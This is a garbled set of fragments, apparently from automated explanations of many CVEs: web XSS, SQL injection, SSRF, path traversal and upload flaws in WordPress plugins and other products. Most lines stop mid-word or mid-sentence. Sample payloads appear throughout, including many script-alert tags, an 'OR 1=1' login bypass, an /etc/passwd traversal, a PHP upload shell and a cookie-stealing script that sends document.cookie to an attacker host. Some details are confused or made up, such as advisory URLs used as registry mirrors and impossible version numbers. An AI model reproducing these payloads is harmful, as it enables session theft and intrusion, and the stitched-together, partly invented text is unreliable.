[These references provide additional details on how to exploit this issue.](https://github.com/artifactual/hub/security/advisories/GHSA-9pc8-m4vp-ggvf)

y on a domain ending with `docker.io`. These credentials were intended to increase the rate limit for registry access, but they can also be used to authenticate to other Docker registries.

vate repositories or other purposes, increasing the risk.

'eat this domain as the legitimate Docker Hub. When Artifact Hub interacts with this fake registry, it may use the Docker daemon's configuration file at `/etc/docker/daemon.json` with the contents `{ "registry-mirrors": ["https://github.com/artifactual/hub/security/advisories/GHSA-g6pq-x5am"], "insecure-registries": ["https://github.com/artifactual/hub/security/advisories/GHSA-g6pq-x5am"] }` and bypass login authentication measures.

ntially allowing the attacker to execute arbitrary code on the device.

potential attacks.

ng the attacker to overwrite the return address or other control data. This manipulation could then let the attacker execute arbitrary code on the device. Users of the affected devices should refer to the official documentation and advisories available through <https://www.cisa.gov/news-events/ics-advisories/icsa-23-285-12>.

isories/icsa-23-285-12'.

rastructure.

`execution: execute('reboot ' + userInput)` In the above pseudocode, if 'userInput' is not properly sanitized, it can lead to a privilege escalation attack.

compromise of the device's security.

manipulate the control flow of the program, potentially allowing them to execute arbitrary code, this could lead to various types of attacks, such as Cross-Site Request Forgery (CSRF) attacks. If successfully exploited, especially when combined with certain administrative privileges, it could result in full system compromise.

· unauthorized actions being performed on behalf of the admin, ultimately allowing the attacker to take security_bulletins/322). Additionally, there are likely pages on the RUCKUS Cloupath server with pertinent vulnerability, reviewing system access logs for any indicators of compromise, and considering any action tokens or data to the attacker. The attacker could also construct a deceptive form or request to perform

ilability of the Directus application to legitimate users.

· SQL commands, impacting database integrity or disclosing sensitive information.

/10/19/creativepopup.html).

· that inputs are being properly sanitized across the site.

· web server being used.

· to that version and potentially execute further attacks.

· it involve automated scripts or bots that scan for and exploit this weakness across multiple web servers associated with the web application.

· cious sites.

· m's browser session.

· e, but in practice, an attacker would use more sophisticated scripts to carry out harmful actions.

· o phising or malware-laden websites. Non-persistent XSS attacks like this could also be used in conjunction with other attacks.

· validation or sanitization, which can be manipulated by an attacker to perform arbitrary URL fetches.

· tization of the URL fetch(url).then(response => { // Process response });});In this example, the `event` is triggered when a response is received from a malicious server, which could lead to further exploitation or malware download.2. Leveraging the victim's browser to execute malicious code.

eb page viewed by the user.

utable code when the page is loaded, thus showing a pop-up alert box with 'XSS'.

web application security are important preventive measures.

'ibute' parameter contains JavaScript code. When this page is viewed by other users, the script will run. <https://www.cisa.gov/cyber-security/threat-intel/vulnerabilities/id/d3b26060-294e-4d4c-9295-0b08f533d5c4?source=cve> - The plugin until a fix is released, or find an alternative plugin that offers similar functionality without the v

okies, session tokens, or other sensitive information from users, or even taking control of authenticate WooCommerce plugin and apply the latest version to mitigate the vulnerability. user, leading to a wide array of security risks.

he system.

when loaded by other users' browsers, leading to session hijacking or sensitive data exposure.

could upload this file and then execute arbitrary commands on the server by accessing the file with a p attackers to execute arbitrary JavaScript on the web browser of a user who interacts with a maliciousl information, perform actions on behalf of the user, or compromise the user's browsing experience.

look similar to this (but do not use this for malicious purposes): `http://example.com/controller/Admin`

at <https://zigrin.com/advisories/thirty-bees-reflected-cross-site-scripting-xss/> that outlines details of t y the maintainers would be effective. In this case, users should update their Thirty Bees Core installatio could consider looking for an update or patch that addresses this specific vulnerability.

consent.

of the victim's session. Here is a hypothetical example code snippet:

General XSS protections like Content Security Policy (CSP) can help reduce the risk of similar vulnerabilities

data theft, account takeover, or the spreading of malware.

When other authenticated users or visitors visit a page displaying the image with the malicious title, the

sfph_mail=&reponame=&old=1263536%40wp-responsive-slider-with-lightbox&new=1263536%40wp-
injected attackers to inject arbitrary web scripts into pages, which will execute when a user vis

es them they access an injected page. This can lead to actions being performed on behalf of the user, data th

ic.wordpress.org/browser/mpoperationlogs/trunk/common.php#L10 and https://plugins.trac.wordpress.org
the IP with the injected script without proper sanitization. When a legitimate administrator or user
supplied input is properly sanitized before being stored and that output is correctly escaped before it

remotely.

used to impersonate the user and gain unauthorized access to the database and potentially other sensitive system and access files or directories they shouldn't have access to.

is controlled by the software.
ing on the network.

it proper authorization could also be unethical and potentially illegal. For educational purposes, under

inds on the server, gaining unauthorized access and control.

nise additional systems.
vent the uploading and execution of malicious files.
e uploaded PHP script on the server to execute arbitrary code. For example: ``php<?php if(isset(\$_REI
take after exploitation depend upon their intent, capabilities, and level of access gained.

Node.js process.
denial of service (DoS) simply by triggering the condition that causes the exception.

e normal error handling flow and crashing the Node.js process. An attacker could repeatedly send such

ooks.js/releases/tag/v11.1.2, https://github.com/octokit/webhooks.js/releases/tag/v12.0.4, https://g

ch as session hijacking, website defacement, or data theft.

orm>``An attacker could submit a malicious value like `<script>alert('XSS');</script>` in the input field,

to the database without sanitization\$wpdb->query("INSERT INTO some_table (user_data) VALUES ('\$u
er to a phishing site. Furthermore, if an administrative user were to be compromised through this met
ed when other users view the page.

ithin the context of the user's browser session on the website.

; and encourage the vendor to provide a fix.

hijacking, redirecting users to phishing sites, or compromising sensitive information by executing in thi
sses a page where this script is included, the script would execute in their browser, displaying an alert t

the victim's session, potentially leading to account compromise, data exfiltration, or other malicious ac

ecurity plugins that provide XSS protections, can help mitigate the risk.

or other sensitive data and might also allow the attacker to perform actions on behalf of the user. The target servers, such as in a database, and is subsequently served directly to users within the web page.

ecting to malicious websites, or compromising user sessions. Since it is a Stored XSS attack, the malicious script is stored on the server and executed whenever a user visits the page.

tokens, or other sensitive information, or performing actions on behalf of the user without their consent. This is known as session hijacking.

The attacker might also use phishing techniques to trick users into visiting the compromised link, thus allowing them to gain unauthorized access to the user's account.

perform actions as if they are the logged-in user.

In conclusion, a Stored XSS attack is a serious security threat that can compromise user data and sessions. To prevent such attacks, web developers should implement proper input validation and output encoding. Available, users should consider disabling or removing the affected plugin until a security update is provided by the developer.

to a malicious site.

the site, the malicious script executes in their browser, alerting them of the XSS vulnerability. More so

to a malicious site.

without being sanitized, it can lead to a reflected Cross-site Scripting attack when rendered in a user's injected into web pages viewed by other users.

ed without proper encoding on a public calendar page.

ions on behalf of the users within the application.

the victim. For example: `http://vulnerable-website.com/search?q=<script>alert('XSS')</script>` where

shing, or compromising the victim's system.

script tag) is not sanitized before being included in the page's HTML, this script will execute in any user's browser. This allows the attacker to malicious sites. The attack requires some form of interaction from the user, such as clicking a link or entering a search query.

using 1.1.1.

onsent.

guise of the victim's session.

When the page is rendered, the script would execute in the context of the user's session, leading to XSS attacks when other users view the compromised pages.

Actions being performed under the context of the user's session.

ces.

ion. For example, the attacker might craft a URL like: `http://example.com/vulnerable-form.php?input=;` to test some XSS attacks.

leading to data theft, session hijacking, or other security breaches.

If users without proper encoding, it would execute on their browsers, leading to a stored XSS situation.

tes. Since it is Stored XSS, the malicious script is stored on the server and affects all users viewing the content.

or sensitive information from the users' browser or to perform actions on the website on behalf of the user, such as filling out a form, triggering an alert or more malicious actions.

theft, or session hijacking.

input>alert('XSS');

If this input is stored and later displayed to other users without proper sanitization, they will see the output

query, leading to SQL injection. query = "SELECT * FROM users WHERE username = '" + username + "'". At this point, depending on the level of database access and the configuration of the system, this could lead to further exploitation.

upload a PHP file containing malicious code, which when accessed could execute commands on the server. Exploiting such vulnerabilities. It is also recommended to keep the software up to date with security patches to prevent such attacks.

for more severe attacks.

Administrator, thereby obtaining permissions to execute login account actions and access sensitive information valid by the system, enabling the attacker to log in as any user, including an administrator, and gain control or remove users, or in severe cases, completely take over the system.

and are stored securely. System administrators should apply any available updates as soon as possible to prevent such attacks.

In a denial-of-service attack, the actual code injected would depend on the attacker's objectives and the system's configuration vulnerability, the actual code injected would depend on the attacker's objectives and the system's

authentication bypass, or even system compromise if critical files are obtained or altered.

erable-server.com/loadfile.jsp?file=../../../../etc/passwd'. If successful, the attacker could download the file and follow the principle of least privilege, ensuring that applications have only the access necessary to further their goals.

work and compromise additional assets.

Create a script that can execute commands or modify configurations. This script would essentially act as an automated entry tool to further the attacker's goals.

ected page.

service.

ntegrity and availability of the system.

, access sensitive data, or disrupt the service entirely.

on level before executing commands or operations.

update or patch to address this issue, and users should apply this patch as soon as it becomes available

mpting to move laterally to gain higher privileges by exploiting other flaws in the system.

'recency' parameter in the 'models/web_progress.py' component.

statement such as 'OR '1'='1' -- ' to bypass authentication.

ght be able to perform administrative actions or disrupt service by tampering with the application's da

nent providing details related to the package update: <https://lists.fedoraproject.org/archives/list/packages@fedoraproject.org/thread/4A-f6gv-hh8j-q8vq>.
code if the memory is manipulated correctly.
er.

4A-f6gv-hh8j-q8vq

These actions could lead to unauthorized access or modification of data, depending on the privileges of the user.

abilities and fixes.

Access to user sessions, modification of displayed content, or redirection to malicious websites. For instance,

such as stealing session tokens or redirecting to a malicious site. For example, the attacker might inject so

ess to cookies, session tokens, or other sensitive information, or allowing the attacker to manipulate w
put is stored and later displayed to users without proper encoding, this script could run and show an a

anics of the exploit would depend on how user input is processed and displayed by the webserver, oft

n, the server might store this script and serve it to other users, leading to the execution of the script in

r without their knowledge, leading to data theft or account compromise.
their browser.

ers, which can result in cookie theft, session hijacking, or defacing the website, depending on the atta

application.

okies or perform actions on behalf of the logged-in user.

ng performed on their behalf, theft of session tokens or sensitive data, or the redirection to malicious

er users visit the page, the malicious script executes in their browsers, leading to an XSS attack. In the c
best security practices.

browser vulnerabilities. Moreover, an attacker could use XSS to deliver malware to users or enroll bro

browsers.

cuting the alert or any other malicious code the attacker has included.

g content in their catalogues to ensure that no previous XSS payloads remain.

source provided.

es. The severity of the impact varies based on the attacker's intent and the context of the vulnerable a

browser.

ries or performing actions on behalf of the user.

malicious website.

ding on the permissions of the script.

context of a user's browser session.

`http://vulnerable-website.com/?search=<script>alert('XSS')</script>`, where the script tag part would ex

try mitigation steps.

pages. For example, an attacker might submit a script such as `<script>alert('XSS');</script>` in a form t

is websites, performing actions on behalf of users, or compromising the security of the affected websi

ing their data or taking actions on their behalf without their consent.

, could then be served up to other users, who upon executing the page, their cookies including session

performing unintended actions on the website.

e and the security of the web application.

rect the user to a malicious site.

information.

and subsequently rendered by another user's browser (such as an administrator viewing the commer

by attackers to manipulate web pages viewed by other users and potentially steal sensitive informatic

ta theft. For example, an attacker might craft a URL containing the XSS payload that, once visited by ar
ndermine the security and integrity of the affected web application and its users.

ie payload to exploit the XSS vulnerability in /logs/dopost.html in RPCMS v3.5.5, tailored to the specific users.

:heft of session cookies, or a defacement of web content.

ges, or carry out drive-by download attacks.

script such as `<script>alert('XSS')</script>` into a product description or review, the script will execute

irection to malicious websites.

, the victim's browser will execute the alert box, indicating the execution of an arbitrary script.

oically be more sophisticated and malicious in nature.

ecuting phishing attacks. The severity of the attacks depends on the level of access and interaction the t practices, such as validating and sanitizing all user input, can help protect against future XSS vulnerab g guidance on remediation and technical details.

ser's browser.

'ing for stored XSS.

carry out phishing attacks. It's important to note that this is a simplification and real-world attacks can

be 'http://example.com/stock-ticker?ticker=<script>alert('XSS')</script>', and if a user clicks on it, the s

```In this example, an attacker can submit malicious JavaScript as part of 'user\_content', which will be  
to a malicious site, leading to further exploitation or phishing attacks.

ie alert or performing more malicious actions.  
n.

pleted or the information has not been updated yet.

es, redirecting the user to malicious websites, or defacing the web page.  
orm to steal credentials; and manipulation or theft of sensitive information visible through the user's l

s.

plete halt of all services offered by the device.

network.

d how it was resolved.

2.

he system, although the code would initially run with limited privileges.  
I apply any provided patches or follow the mitigation advice.

ccount compromise or data leakage.

med by the script are apparently conducted by the victim administrator.

f the web interface, the stored JavaScript is executed on their browser, leading to the execution of act

e, or execute actions on behalf of the user.

on the device, such as changing device configurations or initiating malicious processes.

utes the command without appropriate validation. Note that this is a hypothetical example and may not be representative of actual vulnerabilities.

Hypothetical example using JavaScript: `https://vulnerable.relyumdevice.com/login?error=<script>alert(`

over session checks, likely exploiting the flawed authorization checks in the firmware. For security researchers, this allows them to gain sensitive information, all without needing to elevate their privileges or bypass authentication mechanisms.

advisory GHSA-75mc-3pjC-727q.

data exposure.  
exploitation.

In some cases, this could lead to a denial of service condition or give the attacker a brief window to exploit the restarting process for further malicious purposes.

This vulnerability could allow an attacker to inject arbitrary JavaScript code that could be executed by another user, potentially leading to a full compromise of the device.

for further mitigation information.

uld potentially leak session information, modify page content, or perform actions on the user's behalf, leading to more severe network compromises.

ducts, which could be exploited by attackers to facilitate unwanted behavior by misleading legitimate users. (All versions), and V18 (All versions < V18 Update 3).

RF) or other unauthorized actions.

pulation of legitimate user sessions with the affected applications.

tes are not yet available or possible, users should follow any recommended workarounds or interim patches.

PN/DP V7.

the Siemens security advisory for specific instructions and any available patches.

ulsive, halting the industrial process it controls, leading to downtime and potential operational losses.

Potentially hijacking the user's account permissions and performing unauthorized actions.

part of the RHACS UI, they could inadvertently perform actions as directed by the attacker, possibly leading to

1 page.

nsent.

ary URLs or utilize application deep links on the device.

ity threat to applications using the Emarsys SDK.

or other unauthorized actions within the context of the affected application.

inding processes, which could be abused in multiple malicious scenarios.

device. Such code execution could lead to unauthorized access, data exfiltration, or even system takeo  
the user, perhaps even data from reporting databases.

to unauthorized actions being performed on behalf of the user, such as stealing session tokens or othe  
ality.

ervices, or even deploy malicious software into the targeted environment.

users within the web management interface and the REST API.

ens and subsequently impersonate authorized users to carry out malicious activities within the system

EST API endpoints.

nation, make configuration changes, launch denial of service attacks or possibly introduce malicious code. By setting the 'Authorization' header of HTTP requests to the web management or REST API endpoints to bypass authentication, an attacker can gain access to the monitoring tool.

Access to the monitoring tool.

If no allowed origin is provided, creating potential security threats.

Cross-site request forgery (CSRF) attacks.

In this case, since no `origin` option is specified in the `cors()` middleware, it would reflect the request's Origin header, which could lead to CSRF attacks.

Especially crafted payload like 'OR '1'='1' -- to bypass authentication or extract sensitive information from the database.

This vulnerability allows an attacker to gain unauthorized access to sensitive information and potentially compromise the institution. Due to the critical nature of this vulnerability, it poses a significant security risk to the institution and its users.

unauthorized access to the system, data theft, installation of malware, or further exploitation of network communication even though the endpoint is supposed to be secured. This could potentially allow an attacker to authenticated users.

as soon as practicable to minimize the risk of exploitation.

ions have the proper authentication and authorization controls in place to avoid such vulnerabilities. Deny access to restricted data or the execution of functions without proper permissions. This could be r

); // Activity log displays the unencoded details}Without proper HTML encoding, an attacker could inject other malicious activities that the script is designed to conduct.

he SSA site but would instead be redirected to the attacker's site.

requests to the '/newapi/' endpoint in the Zultys MX web interface.

trieve, modify, or delete data.

security solutions to detect and prevent SQL injection attacks.

ess to the system.

anted behaviors or security breaches.

e user, or redirection to malicious sites.

up additional network ports, disable security features, or install malicious software.

ersions are up to 3.17.02.

data to carry out further attacks.

cess to accounts or escalate their privileges within WordPress.

t XSS attack.

ading to data theft or session hijacking.

eaches.

ssion hijacking if the payload redirects to a malicious site controlled by the attacker.

or other inputs to traverse to unintended locations.

cation could then automatically redirect the user to this external website once they've logged in or att

d directly without proper sanitationDatabase.Store("user\_comments", userInput); // Later, the stored information could be used to session cookies or performing actions as if they were the victim. In a targeted attack, an attacker could

lken on behalf of the user, data theft, and other potentially harmful consequences.

s, session tokens, or other sensitive information; defacing web pages; or even performing actions on the system. <https://nvd.nist.gov/vuln/detail/CVE-2023-2373>

updated information regarding patch releases or workaround recommendations.

ld hence subvert the blocklist feature and MacOS Gatekeeper protections, possibly leading to the attack.

'package-announce@lists.fedoraproject.org/message/R13UHCTFH6KWAJGDZ2TOLT6VHKW53WCC/- h

ching websites. Users with higher privileges such as administrators are especially at risk since exploiting the server to be exploitable, such as having the '/vendor' directory web-accessible. This would enable the attacker to access configuration details, loaded modules, and environment variables, as well as citation of other vulnerabilities based on the disclosed information.

crosoft-graph-core/tests/GetPhInfo.php HTTP/1.1 Host: vulnerablehost.com

hp-core/security/advisories/GHSA-mhhp-c3cm-2r86- https://github.com/microsoftgraph/msgraph-sdk-server misconfiguration, such as exposing the /vendor directory through the web server, allowing the attacker to glean system information such as configuration, modules, environment variables, and po

A-cgwq-6prq-8h9q.

PHP configuration, environment settings, and potentially sensitive data. The attacker could use this in

administrative user.

https://networks.unify.com/security/advisories/OBSO-2310-01.pdf', and a direct link to consultation section. Argument injection to execute commands with root privileges on the underlying operating system via :

r the authentic Samsung service. For example, if the SDK sends an intent to open a user's Samsung acc

515e2b.

g users to malicious sites.

te("<div>" + input + "</div>");}```In this example, if `userInput` contains a script tag with malicious Java  
s where further exploitation could take place.

ng. The vulnerability specifically affects apps using `appType: 'custom'` and the default Vite HTML midc  
velopment environment with `appType: 'custom'`, clicking on the malicious URL provided by the attacl

ies while the victim is running a Vite dev server. However, this vulnerability does not expose restricted

ervice.

tion.

uld leverage this vulnerability to disrupt web services provided by Squid, affecting availability for legitime

ling to actions performed on their behalf without their consent or the leakage of sensitive information

on malicious site.

n tokens, or phishing attempts by displaying fraudulent content to the user, amongst other malicious effort, or client-side request forgery.

the security context of the Dell DM5500's web interface. This could lead to actions being performed on the

ious activities, depending on the permissions of the user running HtmlUnit.

they will be redirected within the Calendarinho app, but instead, they are sent to a phishing or malware URL [calendarinho/security/advisories/GHSA-g2gp-x888-6xrj](https://calendarinho/security/advisories/GHSA-g2gp-x888-6xrj).

Further exploitation such as information leakage or remote code execution if combined with other vulnerabilities.

referenced with the identifier '22bd5942'.

'safe mode' was enabled. This was possible due to a flaw that permitted the escape from the Twig sandbox. PHP code that can be executed by the CMS, potentially leading to unauthorized actions like data theft,

ability to inject PHP code, the attacker could manipulate the CMS, steal sensitive data, create new administrator accounts, users with these permissions could circumvent the safe mode limitations.

such as data exfiltration, creating backdoors, or escalating privileges.

on behalf of the user.

closure of the user's session credentials to the attacker.

s, redirecting the user to a malicious website, or performing actions on behalf of the user without their

ing to the vulnerabilities described in CVE-2023-43015.

orm actions on behalf of the user without their consent.

structions.

aware that this vulnerability may have been actively exploited in versions prior to iOS 16.7.1.

websites or viewing a malicious ad could inadvertently trigger the vulnerability.

atform's internals and the vulnerability's specifics.

ature of the data disclosed.

[/www.cisa.gov/news-events/alerts/2023/11/30/multiple-vulnerabilities-affecting-web-based-court-ca](https://www.cisa.gov/news-events/alerts/2023/11/30/multiple-vulnerabilities-affecting-web-based-court-ca)  
r unauthorized system activities.

t proper sanitization, causing the script to execute, which in this case would trigger a simple alert box.  
or perform other malicious acts without the user's knowledge. The attack can lead to data theft, sessio  
version 2.0.2.

attacks can result in unauthorized actions being taken on behalf of the users, theft of session cookies,

: of the user without their consent.  
t box to pop up if the user visits the link, indicating the script executed on the user's browser.

:stealing session cookies, redirecting the user to a malicious website, or manipulating the web page con  
th the text 'XSS'.

omment is displayed to other users.

› malicious websites.

attacker stealing session tokens, defacing web pages, or performing actions on behalf of the victim.

r could craft a malicious post within the plugin's data input fields, which when displayed on a page, ex  
roducing an alert box. This is a simple example, but actual attacks could be much more harmful by usin

juences.

a victim user navigates to the page where this data is displayed, the stored script would execute with  
ck can have various impacts, depending on the level of access the exploited user has and the data avail

application context.

unauthorized actions on behalf of the users, data theft, or other malicious activities.

llication and affect its integrity and availability.

script executes in their browser, potentially leading to session hijacking, account compromise or redirection. This specific vulnerability.

in an plugin. The attacker could exploit this to steal session cookies, manipulate web content, or persistently inject code directly into the HTML, thus causing the JavaScript alert with message 'XSS' to execute.

example of such a URL: [http://example.com/grab\\_save.php?search=<script>alert\('XSS'\)</script>](http://example.com/grab_save.php?search=<script>alert('XSS')</script>)

out-of-concept code, and patch or mitigation strategies.

5.6.4 are susceptible to Reflected XSS attacks.

site, leading to a variety of malicious scenarios.

Attacker appends `?name=<script>alert('XSS')</script>` to the URL, it will cause the JavaScript alert to execute if the user is logged in, such as changing account details or initiating transactions.

4. Injecting scripts to deface the website.

hortcode field[soundcloud track='<script>alert("XSS");</script>']// If the application does not properly saved and later executed when a victim retrieves and views the created page that includes the unsani

attacker can steal cookies, session tokens, or even redirect the user to a malicious website.

ous sites.

otentially compromising their security.

ess the compromised sections.

t.cookie, true); xhr.send();</script>``This code snippet, if injected into a vulnerable section of the Mo  
how to address this vulnerability.  
of exploitation.

altering calendar data or settings.

– WooCommerce Email Customizer from previous versions up through version 1.2.7.

:e Email Customizer without the administrator's knowledge or consent.

rowsers of other users viewing that page, leading to the XSS attack.  
who visit the affected page.

age.

jt'");Later, when displaying the comment:// Retrieve and display the comment without sanitization\$re  
ally compromising their session or performing unintended actions on their behalf.

nformation belonging to the victim, or even in giving the attacker the ability to perform actions on behalf of the victim, such as changing account settings or making purchases. This can be achieved by intercepting and modifying network traffic, for example, by injecting malicious code into a web page, potentially leading to theft of cookies, session tokens, or personal data, or performing actions on behalf of the victim without their consent.

web page, potentially leading to theft of cookies, session tokens, or personal data, or performing actions on behalf of the victim without their consent.

Joint compromise.

er session.

consent.

more sophisticated scripts to exploit the vulnerability.  
knowledge, such as creating rogue admin accounts or defacing the website.

without the actual code context of the vulnerable application.

ed and displayed on a web page, the script could be executed, leading to XSS.

`>n='+response.text())</script>` This code would then be stored and later executed in the browser of an

.1.

t of the webpage.

user views the comment, resulting in an alert displaying 'XSS' on the user's screen. This is a simple den  
ulnerabilities.

pulate page content, or redirect users to malicious websites.

ble web page is visited.

users over a period of time without the need for constant re-exploitation by the attacker.

[ibility/woo-gutenberg-products-block/wordpress-woocommerce-blocks-plugin-11-1-1-cross-site-script](#)  
ntentially compromising their session or redirecting them to a malicious site.  
user's context. This script could be designed to steal session cookies, leading to account compromise, o

account compromise, or further exploitation of the website.

hen they visit the affected page, leading to issues like account takeovers or data theft.

ved to users.

ealing cookies, session tokens, or executing other types of attacks in the context of the website.

s to malicious sites.

URL is loaded.

e and environment.

ls.

e of an XSS attack where an alert box would be displayed, indicating the execution of injected script on  
e script executes silently, sending the user's session cookies to the attacker's server. This can comprom

ttacker might add a script in the form of `<script>alert('XSS');</script>` to a customizable field in the pl

fficial security advisory addressing the authentication bypass and command injection vulnerabilities in  
technical documentation and security advisories for guidance on identifying and fixing such vulnerabil  
rement within a network.

compromising the integrity of the server and potentially leading to further network exploitation.

:tack.

rces.

on the nature of the vulnerability, the solution implemented, and any further discussions or updates re

ges of the user, such as session hijacking, website defacement, or triggering actions against the web application.

g attacks. Moreover, because the scripts persist on the server, they can repeatedly affect multiple users.

ng actions on behalf of the user/administrator.

ttacker to craft a value that lets unauthorized Content-Types bypass the `content\_type\_allowlist`. This allows the attacker to upload scripts or other malicious content that would otherwise be restricted.

, executing the embedded script and leading to an XSS attack. This could potentially allow the attacker to compromise the user's session or perform other malicious activities.

er.ExecHandler#doHandleRequest` which could invoke methods through reflection. From there, an attacker can send a request to the server in the form of a `.jsp` file using the methods provided by `FlightRecorderMXBeanImpl`.

Apache Flume 1.7.0, 1.7.1, 1.7.2, 1.7.3, 1.7.4, 5.16.6, 5.17.4, 5.18.0, or 6.0.0, to mitigate this vulnerability.

This vulnerability was fixed in Apache Flume 1.7.5 and 5.18.1, and was not publicly disclosed to prevent abuse by malicious actors.

The discussion thread (<https://lists.apache.org/thread/7g17kwbtjl011mm4tr8bn1vnoq9wh4sl>). These links provide more details on the exploit and mitigation steps.

data leakage.

information it handles.

ch as stealing session tokens, user credentials, or other sensitive data, and potentially gaining control over the system's behaviors or configurations.

service to legitimate users. Since no code examples are provided, we can't showcase the exact method for the CVE-2023-34055 vulnerability.

actions.

› remote code execution by uploading a web shell.  
remote code execution (RCE).

inject malicious scripts into web pages.

g the session or performing actions on behalf of the user.

List (ACL) security restrictions.

potential data manipulation and fraud. The exact method of exploiting this vulnerability would depend

users if the modified URL leads to a crafted phishing page. Since the attack requires authenticated loca

ntially leading to data breaches, identity theft, or further attacks on the network.

XSS attack. In a real attack, the JavaScript would be crafted to perform a malicious action.

nise the system.

fied and remediated swiftly.

· cross-site scripting (XSS) attacks.

instead of being treated as text, enabling the attacker to manipulate the channel's display name in the input field. This does not allow for cross-site scripting (XSS), meaning they cannot execute scripts in the user's browser.

acker-controlled input};// Unsanitized usage leads to SSRF vulnerability```  
ability of the server and its internal network.

links provide details about the vulnerability and the code changes made to fix it.

```
ure: include: health,metrics,prometheus````
```

ure of the vulnerability and how it was fixed.

rovide insight into the nature of the vulnerability and the steps taken to address it.

widget. This is a very simplified example, but actual attacks could be much more sophisticated.  
ration files.

FMS is used for monitoring systems, exploiting this vulnerability could also affect the integrity of the m  
ithout proper input sanitization, the JavaScript code is directly included in the HTML:<p>The title you €

:ker.com/cookie\_stealer.php?cookie='+document.cookie;</script>' which when executed would send FMS.

, possibly leading to data theft, session hijacking, and other malicious activities.

↓ be executed by the browser, leading to potential harm.

web-browser-plug-in-locals/.

ng web pages, or redirecting users to malicious sites.

neter will be directly echoed back in the HTML output, potentially leading to execution of JavaScript cc

n cookies, redirecting them to a malicious website, or performing actions on their behalf within the ap

intent. This could lead to actions being performed on behalf of the victim, data theft, or redirection to r  
isent or knowledge.

users.

users.

ed in their browser if they're visiting the affected webpage. This simple alert could be replaced with m

ebsite, or redirecting users to a malicious site.

breaches when exploited.

nd other types of attacks.

ing performed on their behalf, data theft, or redirection to a malicious site.

uld run in their browser.

e attacker might send a phishing email with the link or post the link on a public forum where users of t ; web browser. For instance, an attacker might submit a donation form with JavaScript code in one of t

tokens, cookies, or sensitive information contained in the web page, or even tricking the user into performing actions like changing their password.

If the plugin doesn't sanitize this input, when the shortcode is used, it would result in the following output:

```
[status:alert('XSS')]
```

This could lead to various security issues, such as stealing cookies, manipulating web content, or redirecting users to a malicious site without their knowledge.

For example, if the shortcode is injected into a page, it would show an alert box displaying the victim's cookies if the plugin fails to sanitize the shortcode correctly.

Malicious actors could exploit this vulnerability by injecting the shortcode into a page, redirecting users to malicious websites, or manipulating the web page content displayed to them.

Attackers could also use the shortcode to inject malicious code into user prompts or forms to the user.

They could use the shortcode to inject malicious code into user inputs, such as URLs or form fields, which could then be used to compromise user accounts or steal sensitive information.

leading to a range of malicious activities such as stealing session cookies, defacing websites, or redirecting users.

such as capturing cookies, session tokens, or redirecting users to malicious websites without their knowledge. This can lead to various compliance issues, especially with regards to data protection regulations.

executes and the attacker could potentially steal cookies, hijack sessions, or redirect the user to a malicious website. It's important to take security measures until a fix is provided.

The website owner may face legal liabilities or compliance issues.

Potentially leading to unauthorized access to user sessions or sensitive information.

defacing the website, or redirecting the user to a malicious site.

Security measures can add extra protection against XSS attacks.

for users.

, session tokens, or other sensitive information, or even redirecting the user to a malicious website. He can also gain control over the victim's session data. Depending on the level of access the victim has (e.g., website admin), this could also compromise the website's security and functionality.

If the input is not properly sanitized by the plugin before being included in the output, the script tag will be executed by the browser, potentially leading to a XSS attack.

› malicious sites, or even carry out phishing attacks within the context of the affected website.  
Once the script is executed in the user's browser, it could lead to unauthorized actions being performed (

malicious activities. An example of such a script in a URL could look like: <http://vulnerable-website.com>

ne 'contentElement' is a node on the webpage contentElement.innerHTML = userContent;}// If an att

tion.

ities. For instance, an attacker might use the following JavaScript snippet in a URL parameter or form fi  
vering malware to unsuspecting users.

owing attackers to execute malicious scripts in a user's browser within the context of the affected web

r plugin, which could then be rendered and executed in the browser of any user visiting that infected p  
rivileges of the victim user. In all these scenarios, the attacker takes advantage of the trust relationshi

ous activities within the affected system.

which can be compromised due to this vulnerability.

retrieve the JWT secret from an environment variable like this: ````javaString jwtSecret = System.getenv('J

uthorization. Because the JWT secret is the key to validating user sessions, its exposure could compror

browser given that the file download function returns the file in inline mode. This can lead to typical >  
:dately. This can result in the execution of malicious scripts in the context of the victim's session, enab  
ing this HTML file and convincing a victim to click on the link, the script will be executed as if it were pa

xecuting inline scripts can serve as temporary measures to reduce the risk of exploitation.

ite path to the temporary file. The vulnerability arises because 'path' is not properly validated, allowing  
the exposure of sensitive information or the placement of malicious files on the server.

a web-accessible directory. Alternatively, the attacker could place a malicious executable file into the

: attack could be as simple as reading logs that contain sensitive information or exploiting a specific fla

egitimate sites or prompt popups.

nd image hosted on their malicious server, effectively altering the site's visual appearance.

9?source=cve.

is could result in session hijacking, data theft, or the unauthorized changing of user settings.

40%40plerdy-heatmap&sfp\_email=&sfph\_mail=3. Wordfence threat intelligence report: [ill execute in their browser.](https://www.s.</a></p></div><div data-bbox=)

this information.

I permissions or higher to inject arbitrary web scripts into pages. result, the attacker could steal cookies, hijack sessions, deface the website, or perform other maliciou

sk of exploitation by attackers who may gain unauthorized access to user accounts.

ute in their browser.

This input for dangerous tags or script content, the script would be saved along with the post. Then, any : intent system.

bitrary web scripts on pages within the website.

ious shortcode like: `'[tab\_ultimate id='123' style='<script>malicious\_code\_here</script>']` where `mal

e and its visitors.

) not contain executable code.4. Implement Content Security Policies (CSP) to reduce the risk of XSS by

threat intel vulnerability details: <https://www.wordfence.com/threat-intel/vulnerabilities/id/08220b2>

[ce.com/threat-intel/vulnerabilities/id/8c7385c7-47de-4511-b474-7415c3977aa8?source=cve](https://www.wordfence.com/threat-intel/vulnerabilities/id/8c7385c7-47de-4511-b474-7415c3977aa8?source=cve)

:their consent.

redirect users to malicious sites, or perform unauthorized actions on behalf of the user, such as changing editor-level permissions or higher to inject arbitrary web scripts that execute when a user accesses an inj

ng sanitized, so if it includes malicious scripts, they will be outputted directly into the returned HTML, if

A vulnerability report on Wordfence containing detailed threat intelligence: <https://www.wordfence.com/threat-intel/vulnerabilities/id/8c7385c7-47de-4511-b474-7415c3977aa8?source=cve>

pages.

malware.

pt()</script>']Due to insufficient sanitization, this script would then be stored and could be executed if these attacks could compromise personal data and the integrity of the site.

potentially stealing cookies, session tokens, or performing actions on behalf of the user without their inter 3.3.15.

lligence vulnerability database at <https://www.wordfence.com/threat-intel/vulnerabilities/id/a98498> or-level permissions could exploit this flaw to inject arbitrary web scripts that would execute whenever initially leading to unauthorized actions such as cookie stealing, session hijacking, or redirection to malic

be executed, potentially causing harm.

harmful web scripts that will execute when a user visits a compromised page.

code.

<https://api.cve.mitre.org/v2/cve/2023/0000/d/50f6d0aa-059d-48d9-873b-6404f288f002?source=cve>

contributor-level permissions and above to inject arbitrary web scripts into pages.

the user or sensitive data being stolen.  
